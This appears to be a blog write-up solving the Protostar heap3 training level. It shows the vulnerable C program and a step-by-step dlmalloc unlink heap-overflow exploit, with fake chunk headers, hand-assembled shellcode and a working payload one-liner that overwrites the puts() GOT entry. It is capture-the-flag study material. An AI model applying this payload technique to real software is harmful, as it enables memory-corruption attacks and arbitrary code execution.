Protostar – heap3

Information

This level introduces the Doug Lea Malloc (dlmalloc) and how heap meta data can be modified to change program execution.

This level is at /opt/protostar/bin/heap3

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

Solution

In this level, the goal is to overwrite the content of the GOT entry of printf() (in fact puts()) with the memory address of winner()
The program creates 3 values on the heap which are the same size (that’s important). Then it copies the three arguments given to the program with these values.
Each value can be overwrited because the len of the arguments isn’t checked. And finally the program frees() the values from the last to the first one.

At this point, it is clear that I need to overwrite a value for it to change the heap header of the next one (by something which says to free() that the next chunk is free) following by a fake chunk. So, when free() is called on this value, it is fooled and it calls unlink(). Unlink() is applied to the fake chunk. This allows me to overwrite the content of a memory address with whatever I want. As I will not give much details, Here are good links to read :

http://www.win.tue.nl/~aeb/linux/hh/hh-11.html
https://github.com/Malformation/Notes/blob/master/Malloc_Des-Maleficarum.txt
http://phrack.org/issues/57/8.html#article
http://g.oswego.edu/dl/html/malloc.html

As said in the documentation above, a free chunk has a FD pointer (forward free chunk) and a BK pointer (backward free chunk). During the unlink() process, FD is copied to the memory location of BK+8 and BK is copied to the memory location of FD+12. Knowing that, I can’t put the GOT entry of puts() to FD and the memory address of winner() to BK. Otherwise, the content of GOT puts() will be overwrited (that’s good) by winner() but winner() will be overwrited by GOT puts()…

In BK, I need to use a shellcode as follows : JMP+NOPs + PUSH winner() + RET
I just need to store this shellcode in one of the three values (a, b, c).

To accomplish this challenge, I need to store in the three values the following content :

a : fullfill(32 bytes) with my shellcode + overwrite the header of b
b : fake chunk with FD contains puts() and BK pointing to somewhere in a
c : doesn’t matter

I start with the value ‘b’. The first part is the header of the fake chunk.
I use 0xdeadbeef twice.
Then, FD pointer contains the GOT entry of puts() minus 0xc because in the free process :

<free+217>: mov DWORD PTR [eax+0xc],edx ; FD->bk = BK

Let’s find the GOT entry of puts() :

$ objdump -R ./heap3 | grep puts
0804b128 R_386_JUMP_SLOT   puts

So FD is 0x0804b11c

Then, BK pointer contains a memory address which points in ‘a’ :

$ ltrace ./heap3 AAAA BBBB CCCC
__libc_start_main(0x8048889, 4, 0xbffff7f4, 0x804ab50, 0x804ab40 
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbffff6bc)                              = 4096
sbrk(4096)                                                                      = 0x0804c000
sbrk(0)                                                                         = 0x0804d000
strcpy(0x0804c008, "AAAA")                                                      = 0x0804c008
strcpy(0x0804c030, "BBBB")                                                      = 0x0804c030
strcpy(0x0804c058, "CCCC")                                                      = 0x0804c058
puts("dynamite failed?"dynamite failed?
)                                                        = 17
+++ exited (status 17) +++

BK is 0x0804c008

Now, the value of ‘a’ starts with a JMP because during the unlink FD is copied to BK+8:

<free+226>: mov DWORD PTR [eax+0x8],edx ; BK->fk = FD

Here is how the memory location of ‘a’ will look like in theory :

0x0804c000: 00000000 00000029 41414141 41414141
0x0804c010: 0804b11c

A JMP instruction takes 2 bytes, so I need a JMP of 10 bytes to jump over the FD address

metasm > jmp $+10
"\xeb\x08"

This instruction is following by 10 Nops. After that, I need to push the memory address of winner() :

metasm > push 0x08048864
"\x68\x64\x88\x04\x08"

Finaly, I need a RET instruction :

metasm > ret
"\xc3"

To fulfill ‘a’, I need 32 bytes. I’ve got so far 18 bytes (JMP+10NOPs+PUSH winner()+RET), so I complete with 14 « A ». (don’t use NOPs here)
Now, I need to overwrite the heap header of ‘b’. The first four bytes of the heap header is the prev_size and the fourth others are the size.
The last two bits of size are used to know if the next chunk is in use and if it was allocated via mmap. Those last two bits need to be set to 0.

size needs to be negative (-4) to avoid null byte.
size is 0xfffffffc

prev_size also needs to be negative because of this in Chunk_free() :

p = chunk_at_offset(p, -(long)prevsz);

So it determines the memory location of the free chunk by soustracting its location by the previous one. If I want to move forward in ‘b’, I need a negative value of -8 (size of the header of ‘b’).
prev_size is 0xfffffff8

Fine, I’ve got everything I need :

a : \xeb\x08 + \x90 * 10 + \x68\x64\x88\x04\x08 + \xc3 + A*14 + \xf8\xff\xff\xff + \xfc\xff\xff\xff
b : \xef\xbe\xad\xde * 2 + \x1c\xb1\x04\x08 + \x08\xc0\x04\x08
c : AAAA

Let’s try :

$ ./heap3 $(python -c 'print "\xeb\x08"+"\x90"*10+"\x68\x64\x88\x04\x08\xc3"+"A"*14+"\xf8\xff\xff\xff"+"\xfc\xff\xff\xff"+" "+"\xef\xbe\xad\xde"+"\xef\xbe\xad\xde"+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"+" "+"AAAA"')
that wasn't too bad now, was it? @ 1440131411

That’s it, heap3 is done.


Laisser un commentaire